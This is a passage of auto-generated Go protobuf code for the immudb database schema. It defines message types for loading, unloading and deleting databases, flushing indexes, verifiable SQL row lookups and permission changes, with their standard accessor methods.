{\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*AHTNullableSettings) ProtoMessage() {}\n\nfunc (x *AHTNullableSettings) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[85]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use AHTNullableSettings.ProtoReflect.Descriptor instead.\nfunc (*AHTNullableSettings) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{85}\n}\n\nfunc (x *AHTNullableSettings) GetSyncThreshold() *NullableUint32 {\n\tif x != nil {\n\t\treturn x.SyncThreshold\n\t}\n\treturn nil\n}\n\nfunc (x *AHTNullableSettings) GetWriteBufferSize() *NullableUint32 {\n\tif x != nil {\n\t\treturn x.WriteBufferSize\n\t}\n\treturn nil\n}\n\ntype LoadDatabaseRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\tDatabase string `protobuf:\"bytes,1,opt,name=database,proto3\" json:\"database,omitempty\"` //  may add createIfNotExist\n}\n\nfunc (x *LoadDatabaseRequest) Reset() {\n\t*x = LoadDatabaseRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[86]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *LoadDatabaseRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*LoadDatabaseRequest) ProtoMessage() {}\n\nfunc (x *LoadDatabaseRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[86]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use LoadDatabaseRequest.ProtoReflect.Descriptor instead.\nfunc (*LoadDatabaseRequest) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{86}\n}\n\nfunc (x *LoadDatabaseRequest) GetDatabase() string {\n\tif x != nil {\n\t\treturn x.Database\n\t}\n\treturn \"\"\n}\n\ntype LoadDatabaseResponse struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Database name\n\tDatabase string `protobuf:\"bytes,1,opt,name=database,proto3\" json:\"database,omitempty\"` // may add settings\n}\n\nfunc (x *LoadDatabaseResponse) Reset() {\n\t*x = LoadDatabaseResponse{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[87]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *LoadDatabaseResponse) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*LoadDatabaseResponse) ProtoMessage() {}\n\nfunc (x *LoadDatabaseResponse) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[87]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use LoadDatabaseResponse.ProtoReflect.Descriptor instead.\nfunc (*LoadDatabaseResponse) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{87}\n}\n\nfunc (x *LoadDatabaseResponse) GetDatabase() string {\n\tif x != nil {\n\t\treturn x.Database\n\t}\n\treturn \"\"\n}\n\ntype UnloadDatabaseRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Database name\n\tDatabase string `protobuf:\"bytes,1,opt,name=database,proto3\" json:\"database,omitempty\"`\n}\n\nfunc (x *UnloadDatabaseRequest) Reset() {\n\t*x = UnloadDatabaseRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[88]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *UnloadDatabaseRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*UnloadDatabaseRequest) ProtoMessage() {}\n\nfunc (x *UnloadDatabaseRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[88]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use UnloadDatabaseRequest.ProtoReflect.Descriptor instead.\nfunc (*UnloadDatabaseRequest) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{88}\n}\n\nfunc (x *UnloadDatabaseRequest) GetDatabase() string {\n\tif x != nil {\n\t\treturn x.Database\n\t}\n\treturn \"\"\n}\n\ntype UnloadDatabaseResponse struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Database name\n\tDatabase string `protobuf:\"bytes,1,opt,name=database,proto3\" json:\"database,omitempty\"`\n}\n\nfunc (x *UnloadDatabaseResponse) Reset() {\n\t*x = UnloadDatabaseResponse{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[89]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *UnloadDatabaseResponse) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*UnloadDatabaseResponse) ProtoMessage() {}\n\nfunc (x *UnloadDatabaseResponse) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[89]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use UnloadDatabaseResponse.ProtoReflect.Descriptor instead.\nfunc (*UnloadDatabaseResponse) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{89}\n}\n\nfunc (x *UnloadDatabaseResponse) GetDatabase() string {\n\tif x != nil {\n\t\treturn x.Database\n\t}\n\treturn \"\"\n}\n\ntype DeleteDatabaseRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Database name\n\tDatabase string `protobuf:\"bytes,1,opt,name=database,proto3\" json:\"database,omitempty\"`\n}\n\nfunc (x *DeleteDatabaseRequest) Reset() {\n\t*x = DeleteDatabaseRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[90]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *DeleteDatabaseRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*DeleteDatabaseRequest) ProtoMessage() {}\n\nfunc (x *DeleteDatabaseRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[90]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use DeleteDatabaseRequest.ProtoReflect.Descriptor instead.\nfunc (*DeleteDatabaseRequest) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{90}\n}\n\nfunc (x *DeleteDatabaseRequest) GetDatabase() string {\n\tif x != nil {\n\t\treturn x.Database\n\t}\n\treturn \"\"\n}\n\ntype DeleteDatabaseResponse struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Database name\n\tDatabase string `protobuf:\"bytes,1,opt,name=database,proto3\" json:\"database,omitempty\"`\n}\n\nfunc (x *DeleteDatabaseResponse) Reset() {\n\t*x = DeleteDatabaseResponse{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[91]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *DeleteDatabaseResponse) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*DeleteDatabaseResponse) ProtoMessage() {}\n\nfunc (x *DeleteDatabaseResponse) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[91]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use DeleteDatabaseResponse.ProtoReflect.Descriptor instead.\nfunc (*DeleteDatabaseResponse) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{91}\n}\n\nfunc (x *DeleteDatabaseResponse) GetDatabase() string {\n\tif x != nil {\n\t\treturn x.Database\n\t}\n\treturn \"\"\n}\n\ntype FlushIndexRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Percentage of nodes file to cleanup during flush\n\tCleanupPercentage float32 `protobuf:\"fixed32,1,opt,name=cleanupPercentage,proto3\" json:\"cleanupPercentage,omitempty\"`\n\t// If true, do a full disk sync after the flush\n\tSynced bool `protobuf:\"varint,2,opt,name=synced,proto3\" json:\"synced,omitempty\"`\n}\n\nfunc (x *FlushIndexRequest) Reset() {\n\t*x = FlushIndexRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[92]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *FlushIndexRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*FlushIndexRequest) ProtoMessage() {}\n\nfunc (x *FlushIndexRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[92]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use FlushIndexRequest.ProtoReflect.Descriptor instead.\nfunc (*FlushIndexRequest) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{92}\n}\n\nfunc (x *FlushIndexRequest) GetCleanupPercentage() float32 {\n\tif x != nil {\n\t\treturn x.CleanupPercentage\n\t}\n\treturn 0\n}\n\nfunc (x *FlushIndexRequest) GetSynced() bool {\n\tif x != nil {\n\t\treturn x.Synced\n\t}\n\treturn false\n}\n\ntype FlushIndexResponse struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Database name\n\tDatabase string `protobuf:\"bytes,1,opt,name=database,proto3\" json:\"database,omitempty\"`\n}\n\nfunc (x *FlushIndexResponse) Reset() {\n\t*x = FlushIndexResponse{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[93]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *FlushIndexResponse) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*FlushIndexResponse) ProtoMessage() {}\n\nfunc (x *FlushIndexResponse) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[93]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use FlushIndexResponse.ProtoReflect.Descriptor instead.\nfunc (*FlushIndexResponse) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{93}\n}\n\nfunc (x *FlushIndexResponse) GetDatabase() string {\n\tif x != nil {\n\t\treturn x.Database\n\t}\n\treturn \"\"\n}\n\ntype Table struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Table name\n\tTableName string `protobuf:\"bytes,1,opt,name=tableName,proto3\" json:\"tableName,omitempty\"`\n}\n\nfunc (x *Table) Reset() {\n\t*x = Table{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[94]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *Table) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*Table) ProtoMessage() {}\n\nfunc (x *Table) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[94]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use Table.ProtoReflect.Descriptor instead.\nfunc (*Table) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{94}\n}\n\nfunc (x *Table) GetTableName() string {\n\tif x != nil {\n\t\treturn x.TableName\n\t}\n\treturn \"\"\n}\n\ntype SQLGetRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Table name\n\tTable string `protobuf:\"bytes,1,opt,name=table,proto3\" json:\"table,omitempty\"`\n\t// Values of the primary key\n\tPkValues []*SQLValue `protobuf:\"bytes,2,rep,name=pkValues,proto3\" json:\"pkValues,omitempty\"`\n\t// Id of the transaction at which the row was added / modified\n\tAtTx uint64 `protobuf:\"varint,3,opt,name=atTx,proto3\" json:\"atTx,omitempty\"`\n\t// If > 0, do not wait for the indexer to index all entries, only require entries up to sinceTx to be indexed\n\tSinceTx uint64 `protobuf:\"varint,4,opt,name=sinceTx,proto3\" json:\"sinceTx,omitempty\"`\n}\n\nfunc (x *SQLGetRequest) Reset() {\n\t*x = SQLGetRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[95]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *SQLGetRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*SQLGetRequest) ProtoMessage() {}\n\nfunc (x *SQLGetRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[95]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use SQLGetRequest.ProtoReflect.Descriptor instead.\nfunc (*SQLGetRequest) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{95}\n}\n\nfunc (x *SQLGetRequest) GetTable() string {\n\tif x != nil {\n\t\treturn x.Table\n\t}\n\treturn \"\"\n}\n\nfunc (x *SQLGetRequest) GetPkValues() []*SQLValue {\n\tif x != nil {\n\t\treturn x.PkValues\n\t}\n\treturn nil\n}\n\nfunc (x *SQLGetRequest) GetAtTx() uint64 {\n\tif x != nil {\n\t\treturn x.AtTx\n\t}\n\treturn 0\n}\n\nfunc (x *SQLGetRequest) GetSinceTx() uint64 {\n\tif x != nil {\n\t\treturn x.SinceTx\n\t}\n\treturn 0\n}\n\ntype VerifiableSQLGetRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Data of row to query\n\tSqlGetRequest *SQLGetRequest `protobuf:\"bytes,1,opt,name=sqlGetRequest,proto3\" json:\"sqlGetRequest,omitempty\"`\n\t// When generating the proof, generate consistency proof with state from this transaction\n\tProveSinceTx uint64 `protobuf:\"varint,2,opt,name=proveSinceTx,proto3\" json:\"proveSinceTx,omitempty\"`\n}\n\nfunc (x *VerifiableSQLGetRequest) Reset() {\n\t*x = VerifiableSQLGetRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[96]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *VerifiableSQLGetRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*VerifiableSQLGetRequest) ProtoMessage() {}\n\nfunc (x *VerifiableSQLGetRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[96]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use VerifiableSQLGetRequest.ProtoReflect.Descriptor instead.\nfunc (*VerifiableSQLGetRequest) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{96}\n}\n\nfunc (x *VerifiableSQLGetRequest) GetSqlGetRequest() *SQLGetRequest {\n\tif x != nil {\n\t\treturn x.SqlGetRequest\n\t}\n\treturn nil\n}\n\nfunc (x *VerifiableSQLGetRequest) GetProveSinceTx() uint64 {\n\tif x != nil {\n\t\treturn x.ProveSinceTx\n\t}\n\treturn 0\n}\n\ntype SQLEntry struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Id of the transaction when the row was added / modified\n\tTx uint64 `protobuf:\"varint,1,opt,name=tx,proto3\" json:\"tx,omitempty\"`\n\t// Raw key of the row\n\tKey []byte `protobuf:\"bytes,2,opt,name=key,proto3\" json:\"key,omitempty\"`\n\t// Raw value of the row\n\tValue []byte `protobuf:\"bytes,3,opt,name=value,proto3\" json:\"value,omitempty\"`\n\t// Metadata of the raw value\n\tMetadata *KVMetadata `protobuf:\"bytes,4,opt,name=metadata,proto3\" json:\"metadata,omitempty\"`\n}\n\nfunc (x *SQLEntry) Reset() {\n\t*x = SQLEntry{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[97]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *SQLEntry) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*SQLEntry) ProtoMessage() {}\n\nfunc (x *SQLEntry) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[97]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use SQLEntry.ProtoReflect.Descriptor instead.\nfunc (*SQLEntry) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{97}\n}\n\nfunc (x *SQLEntry) GetTx() uint64 {\n\tif x != nil {\n\t\treturn x.Tx\n\t}\n\treturn 0\n}\n\nfunc (x *SQLEntry) GetKey() []byte {\n\tif x != nil {\n\t\treturn x.Key\n\t}\n\treturn nil\n}\n\nfunc (x *SQLEntry) GetValue() []byte {\n\tif x != nil {\n\t\treturn x.Value\n\t}\n\treturn nil\n}\n\nfunc (x *SQLEntry) GetMetadata() *KVMetadata {\n\tif x != nil {\n\t\treturn x.Metadata\n\t}\n\treturn nil\n}\n\ntype VerifiableSQLEntry struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Raw row entry data\n\tSqlEntry *SQLEntry `protobuf:\"bytes,1,opt,name=sqlEntry,proto3\" json:\"sqlEntry,omitempty\"`\n\t// Verifiable transaction of the row\n\tVerifiableTx *VerifiableTx `protobuf:\"bytes,2,opt,name=verifiableTx,proto3\" json:\"verifiableTx,omitempty\"`\n\t// Inclusion proof of the row in the transaction\n\tInclusionProof *InclusionProof `protobuf:\"bytes,3,opt,name=inclusionProof,proto3\" json:\"inclusionProof,omitempty\"`\n\t// Internal ID of the database (used to validate raw entry values)\n\tDatabaseId uint32 `protobuf:\"varint,4,opt,name=DatabaseId,proto3\" json:\"DatabaseId,omitempty\"`\n\t// Internal ID of the table (used to validate raw entry values)\n\tTableId uint32 `protobuf:\"varint,5,opt,name=TableId,proto3\" json:\"TableId,omitempty\"`\n\t// Internal IDs of columns for the primary key (used to validate raw entry values)\n\tPKIDs []uint32 `protobuf:\"varint,16,rep,packed,name=PKIDs,proto3\" json:\"PKIDs,omitempty\"`\n\t// Mapping of used column IDs to their names\n\tColNamesById map[uint32]string `protobuf:\"bytes,8,rep,name=ColNamesById,proto3\" json:\"ColNamesById,omitempty\" protobuf_key:\"varint,1,opt,name=key,proto3\" protobuf_val:\"bytes,2,opt,name=value,proto3\"`\n\t// Mapping of column names to their IDS\n\tColIdsByName map[string]uint32 `protobuf:\"bytes,9,rep,name=ColIdsByName,proto3\" json:\"ColIdsByName,omitempty\" protobuf_key:\"bytes,1,opt,name=key,proto3\" protobuf_val:\"varint,2,opt,name=value,proto3\"`\n\t// Mapping of column IDs to their types\n\tColTypesById map[uint32]string `protobuf:\"bytes,10,rep,name=ColTypesById,proto3\" json:\"ColTypesById,omitempty\" protobuf_key:\"varint,1,opt,name=key,proto3\" protobuf_val:\"bytes,2,opt,name=value,proto3\"`\n\t// Mapping of column IDs to their length constraints\n\tColLenById map[uint32]int32 `protobuf:\"bytes,11,rep,name=ColLenById,proto3\" json:\"ColLenById,omitempty\" protobuf_key:\"varint,1,opt,name=key,proto3\" protobuf_val:\"varint,2,opt,name=value,proto3\"`\n\t// Variable is used to assign unique ids to new columns as they are created\n\tMaxColId uint32 `protobuf:\"varint,12,opt,name=MaxColId,proto3\" json:\"MaxColId,omitempty\"`\n}\n\nfunc (x *VerifiableSQLEntry) Reset() {\n\t*x = VerifiableSQLEntry{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[98]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *VerifiableSQLEntry) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*VerifiableSQLEntry) ProtoMessage() {}\n\nfunc (x *VerifiableSQLEntry) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[98]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use VerifiableSQLEntry.ProtoReflect.Descriptor instead.\nfunc (*VerifiableSQLEntry) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{98}\n}\n\nfunc (x *VerifiableSQLEntry) GetSqlEntry() *SQLEntry {\n\tif x != nil {\n\t\treturn x.SqlEntry\n\t}\n\treturn nil\n}\n\nfunc (x *VerifiableSQLEntry) GetVerifiableTx() *VerifiableTx {\n\tif x != nil {\n\t\treturn x.VerifiableTx\n\t}\n\treturn nil\n}\n\nfunc (x *VerifiableSQLEntry) GetInclusionProof() *InclusionProof {\n\tif x != nil {\n\t\treturn x.InclusionProof\n\t}\n\treturn nil\n}\n\nfunc (x *VerifiableSQLEntry) GetDatabaseId() uint32 {\n\tif x != nil {\n\t\treturn x.DatabaseId\n\t}\n\treturn 0\n}\n\nfunc (x *VerifiableSQLEntry) GetTableId() uint32 {\n\tif x != nil {\n\t\treturn x.TableId\n\t}\n\treturn 0\n}\n\nfunc (x *VerifiableSQLEntry) GetPKIDs() []uint32 {\n\tif x != nil {\n\t\treturn x.PKIDs\n\t}\n\treturn nil\n}\n\nfunc (x *VerifiableSQLEntry) GetColNamesById() map[uint32]string {\n\tif x != nil {\n\t\treturn x.ColNamesById\n\t}\n\treturn nil\n}\n\nfunc (x *VerifiableSQLEntry) GetColIdsByName() map[string]uint32 {\n\tif x != nil {\n\t\treturn x.ColIdsByName\n\t}\n\treturn nil\n}\n\nfunc (x *VerifiableSQLEntry) GetColTypesById() map[uint32]string {\n\tif x != nil {\n\t\treturn x.ColTypesById\n\t}\n\treturn nil\n}\n\nfunc (x *VerifiableSQLEntry) GetColLenById() map[uint32]int32 {\n\tif x != nil {\n\t\treturn x.ColLenById\n\t}\n\treturn nil\n}\n\nfunc (x *VerifiableSQLEntry) GetMaxColId() uint32 {\n\tif x != nil {\n\t\treturn x.MaxColId\n\t}\n\treturn 0\n}\n\ntype UseDatabaseReply struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Deprecated: database access token\n\tToken string `protobuf:\"bytes,1,opt,name=token,proto3\" json:\"token,omitempty\"`\n}\n\nfunc (x *UseDatabaseReply) Reset() {\n\t*x = UseDatabaseReply{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[99]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *UseDatabaseReply) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*UseDatabaseReply) ProtoMessage() {}\n\nfunc (x *UseDatabaseReply) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[99]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use UseDatabaseReply.ProtoReflect.Descriptor instead.\nfunc (*UseDatabaseReply) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{99}\n}\n\nfunc (x *UseDatabaseReply) GetToken() string {\n\tif x != nil {\n\t\treturn x.Token\n\t}\n\treturn \"\"\n}\n\ntype ChangePermissionRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Action to perform\n\tAction PermissionAction `protobuf:\"varint,1,opt,name=action,proto3,enum=immudb.schema.PermissionAction\" json:\"action,omitempty\"`\n\t// Name of the user to update\n\tUsername string `protobuf:\"bytes,2,opt,name=username,proto3\" json:\"username,omitempty\"`\n\t// Name of the database\n\tDatabase string `protobuf:\"bytes,3,opt,name=database,proto3\" json:\"database,omitempty\"`\n\t// Permission to grant / revoke: 1 - read only, 2 - read/write, 254 - admin\n\tPermission uint32 `protobuf:\"varint,4,opt,name=permission,proto3\" json:\"permission,omitempty\"`\n}\n\nfunc (x *ChangePermissionRequest) Reset() {\n\t*x = ChangePermissionRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[100]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *ChangePermissionRequest) String() string {\n\treturn 